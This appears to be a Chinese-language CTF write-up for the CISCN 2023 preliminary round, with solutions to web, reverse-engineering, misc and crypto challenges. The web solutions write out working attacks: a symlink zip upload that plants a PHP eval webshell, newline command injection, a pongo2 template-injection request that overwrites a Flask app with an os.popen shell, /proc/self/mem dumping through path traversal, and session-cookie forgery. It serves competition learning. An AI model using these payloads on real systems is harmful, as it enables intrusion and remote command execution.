CISCN2023初赛
wp:https://mp.weixin.qq.com/s/2TDV2L-o1MlbYU0PSjb65Q
Web
unzip
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
构造软连接:
ln -s /var/www/html test
zip --symlinks test.zip ./*
上传解压后/var/www/html指向test目录 构造木马:
mkdir test
echo "<?php @eval($_GET['cmd']);" > test/cmd.php
zip -r test1.zip ./*
上传解压后可访问test目录下的木马
dumpit
过滤的符号:
/?db=bibin&table_2_dump=%00
/?db=bibin&table_2_dump=%0a
发现%0a闭合能执行命令,在env发现flag
/?db=q&table_2_dump=%0awhoami%0a
/?db=q&table_2_dump=%0env%0a //环境变量
go_session
https://un1novvn.github.io/2023/05/29/ciscn2023/ https://ctf.njupt.edu.cn/archives/898#go_session
看官方文档 pongo
环境
route.go
package route
import (
"github.com/flosch/pongo2/v4"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
)
var store = sessions.NewCookieStore([]byte(""))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
//tpl, err := pongo2.FromString("Hello " + name + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
main.go
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
app.py
# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)
d = {
"h": "hello world!"
}
@app.route("/")
def hello():
return "hello"
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)
有三个路由,index、admin和flask
session检测,key为空,直接本地起环境(像index里面一样设置session
Cookie:session-name=MTY4OTIxMzM0M3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXx-9wDJrv63GGaUmQnK_0WvaRL62AHGIY1IRVS4IdZ39Q==
admin有ssti注入,admin中out, err := tpl.Execute(pongo2.Context{"c": c})
的c为传入的变量c *gin.Context
flask对应后端的app.py
思路是通过ssti实现任意文件读写,覆盖app.py,由于app.py开启debug热部署,内容改变会重新加载。
include可以读取文件,但不能直接传引号的字符串,需要一个可控字符串变量
Context –> Request –> Host/Referer 可控
报错获取app.py位置
读文件:
{%include c.Request.Referer()%}
{%include c.Request.Host()%}
Context –> 找到上传文件,SaveUploadedFile(file *multipart.FileHeader,dst string)
,需要FileHeader
–> FormFile(name string)(*multipart.FileHeader,error)
需要两个可控变量,一个给dst,一个给name,用上面的Host和Referer
写文件:
{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 8d29d285-1292-41ef-85ba-b8c310a6ec3a.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4OTI1ODAwNXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzyv2RXchGZcXdaKPew1jYXVZTOE270NGdCUSZk-SNumg==
Connection: close
Content-Length: 589
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
------WebKitFormBoundaryrxtSm5i2S6anueQi--
覆盖成功,执行命令
DeserBug(java,之后再看
reading
https://un1novvn.github.io/2023/05/29/ciscn2023/
黑盒题,可跨目录读取文件
借助经典的两个目录/proc/self/environ
&& /proc/self/cmdline
来读更多信息,获取源代码
/proc/self/cwd/app.py
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()
@app.route('/books', methods=['GET', 'POST'])
def book_page():
filepath = request.args.get('book')
if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
else:
page_size = 3000
if request.args.get('page'):
page = int(request.args.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
return '\n'.join(words)
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return "flag{xxxxxxxxxxxxxxxxxx}"
else:
return "no no no"
def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')
if __name__ == '__main__':
app.run(host='0.0.0.0')
配合start和end读内存,读取全部内存,找到32位字符串,那就是key或secret_key(通常做法)
内存里有些区域不可读,所以需要利用/proc/self/maps去读段的起始地址和结束地址
读取mem脚本:
import requests,time,re
#maps里是读maps的原始内容
maps = open('maps').read().split('\n')
start_end = []
for line in maps:
if ' r' not in line: #忽略不可读的内存
continue
line = line.split()[0]
start = line.split('-')[0]
end = line.split('-')[1]
start_end.append([start,end])
page_size = 4096
for i,line in enumerate(start_end):
start = int(line[0],16)
end = int(line[1],16)
# page_size = end-start 写了这条也可
start_page = start // page_size
page_num = (end-start)//page_size
print(f'[*]{i + 1}/{len(start_end)}', 'page_num: ',page_num)
result = open(f'my/{line[0]}-{line[1]}.bin', 'wb')
for page in range(page_num):
url = f'http://192.168.190.130:5000/books?book=../../../../../../../proc/self/mem&page={start_page+page}&page_size={page_size}'
res = requests.get(url)
result.write(res.text.encode())
result.write(b'\n')
result.close()
全局正则匹配,找到两个考得近的32位字符串
9776436d6a1453cf13eceee8cda4fd84
e6e69a980d637186e90656f2d9a5a1a8
解session,可以解的是secret_key(9776436d6a1453cf13eceee8cda4fd84),剩下的为key(e6e69a980d637186e90656f2d9a5a1a8)
https://github.com/noraj/flask-session-cookie-manager
接下来爆时间戳
从程序运行(开靶场)时,敲几个时间戳出来,前面几位固定,爆破后面数字
用hashcat爆破
hashcat -m 0 -a 3 e6e69a980d637186e90656f2d9a5a1a8 168924550?d?d?d?d?d?d?d?d?d?d
(前面爆破出了,再爆破直接用–show显示结果)
e6e69a980d637186e90656f2d9a5a1a8:1689245500101730900
伪造session(注意key后的空格)
python .\flask_session_cookie_manager3.py encode -s "9776436d6a1453cf13eceee8cda4fd84" -t "{'key': '1689245500101730900'}"
eyJrZXkiOiIxNjg5MjQ1NTAwMTAxNzMwOTAwIn0.ZK_Zsg.9oonOJJLBNz-XhXMQM9H7RCxo9Q
访问/flag
BackendService
https://mp.weixin.qq.com/s/2TDV2L-o1MlbYU0PSjb65Q https://blog.csdn.net/Hoopy_Hoopy/article/details/120283270 https://xz.aliyun.com/t/11493#toc-5 nacos漏洞
未授权;配置,反弹shell
RE
babyre
https://snap.berkeley.edu/snap/snap.html
secret export
102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30
exp.py
data = [102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
flag = chr(data[0])
for i in range(1, len(data)):
data[i] = data[i] ^ data[i-1]
flag += chr(data[i])
print(flag)
MISC
被加密的生产流量
pyshell
python shell
字符串长度为7
python特性 下划线表示上次输出结果,拼接得到命令
"__import__('system').os('cat /f*')"
eval(_)
国粹
题目.png从0开始标号,将a.png和k.png转化为编号列表,分别作为x和y,画出轨迹图
Crypto
基于国密SM2算法的密钥密文分发
非预期:
跟着文档操作login,allkey,quantum,在search中能直接看到quantumStringServer的值,在check提交
最后在search中看到flag
可信度量
非预期:
grep寻找flag,发现在proc/22/task/22/environ
Sign_in_passwd
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
第二行url解码后作为编码表,再将第一行base64解码
badkey1
第一步爆破sha256前四位
第二步找到p与q,使construct报错(应该要d和n不互素
e * d = k1 * (p-1) * (q-1) + 1
d = k2 * p * q
e * k2 * p * q = k1 * (p-1) * (q-1)+1